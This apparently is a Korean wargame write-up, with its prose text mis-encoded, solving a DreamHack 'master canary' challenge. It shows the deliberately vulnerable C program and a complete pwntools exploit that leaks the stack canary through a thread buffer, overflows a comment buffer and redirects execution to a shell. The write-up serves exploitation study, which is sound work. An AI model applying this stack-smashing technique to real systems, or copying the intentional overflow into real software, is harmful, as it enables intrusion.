
๋ฌธ์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
// gcc -o master master.c -pthread
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
char *global_buffer;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
void read_bytes(char *buf, size_t size) {
size_t sz = 0;
size_t idx = 0;
size_t tmp;
while (sz < size) {
tmp = read(0, &buf[idx], 1);
if (tmp != 1) {
exit(-1);
}
idx += 1;
sz += 1;
}
return;
}
int main(int argc, char *argv[]) {
size_t size;
pthread_t thread_t;
size_t idx;
char leave_comment[32];
initialize();
while(1) {
printf("1. Create thread\n");
printf("2. Input\n");
printf("3. Exit\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
{
perror("thread create error");
exit(0);
}
break;
case 2:
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(global_buffer, size);
printf("Data: %s", global_buffer);
break;
case 3:
printf("Leave comment: ");
read(0, leave_comment, 1024);
return 0;
default:
printf("Nope\n");
break;
}
}
return 0;
}
checksec๋ก ๋ณด์ ๊ธฐ๋ฒ์ ํ์ธํด์ฃผ์๋ค.

read_bytes ํจ์์์ read ํจ์๊ฐ ์๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ์ฌ์ฉํด์ buf์ ํฌ๊ธฐ์ธ 256๋ณด๋ค ๋ง์ด ์ ๋ ฅ๋ฐ์ผ๋ฉด ์คํ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ฐ์์ํฌ ์ ์์ ๊ฒ์ด๋ค.
void read_bytes(char *buf, size_t size) {
size_t sz = 0;
size_t idx = 0;
size_t tmp;
while (sz < size) {
tmp = read(0, &buf[idx], 1);
if (tmp != 1) {
exit(-1);
}
idx += 1;
sz += 1;
}
return;
}

global_buffer์ด 0x110์ ์์นํ ๊ฑธ ์ ์ ์๋ค.

readํจ์๋ rbp-0x30์ ์์นํ ๊ฑธ ์ ์ ์๋ค.
์ด๋ฅผ ์ฌ์ฉํด์ ์คํ ๋ฒํผ ์ฃผ์์ ์นด๋๋ฆฌ์ ์ฃผ์๋ฅผ ์์๋ด๋ณด์.

์นด๋๋ฆฌ์ ์ฃผ์๋ 0xbc5b030b71854e00์ด๋ผ๊ณ ๊ตฌํด์ก๊ณ , read ํจ์์ ์คํ ๋ฒํผ ์ฃผ์์ ๊ฐ๊ฒฉ์ 0x42cfb5๋งํผ ๋จ์ด์ ธ ์๋ ๊ฑธ ํ์ธํ๋ค.
์ต์คํ๋ก์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํ๋ค.
from pwn import *
p = remote("host3.dreamhack.games",21211)
elf = ELF('./master_canary')
get_shell = elf.symbols['get_shell']
p.sendlineafter('> ', '1')
p.sendlineafter('> ', '2')
size = 0x8e9
p.sendlineafter('Size: ', str(size))
p.sendafter('Data: ', "A" * size)
p.recvuntil("A" * size)
canary = u64(p.recvn(7).rjust(8, b'\x00'))
payload = b"A" * 0x28
payload += p64(canary)
payload += b"A" * 8
payload += p64(get_shell)
p.sendlineafter('> ','3')
p.sendafter('Leave comment: ',payload)
p.interactive()

'DreamHack > SystemHacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
| [DreamHack System Hacking] Linux Library exploit > overwrite _rtld_global (1) | 2022.09.21 |
|---|---|
| [DreamHack System Hacking] Linux Library exploit > _rtld_global (1) | 2022.09.20 |
| [DreamHack System Hacking] Master Canary - (2) (0) | 2022.09.19 |
| [DreamHack System Hacking] Master Canary - (1) (0) | 2022.09.19 |
| [DreamHack System Hacking] Master Canary (1) | 2022.09.19 |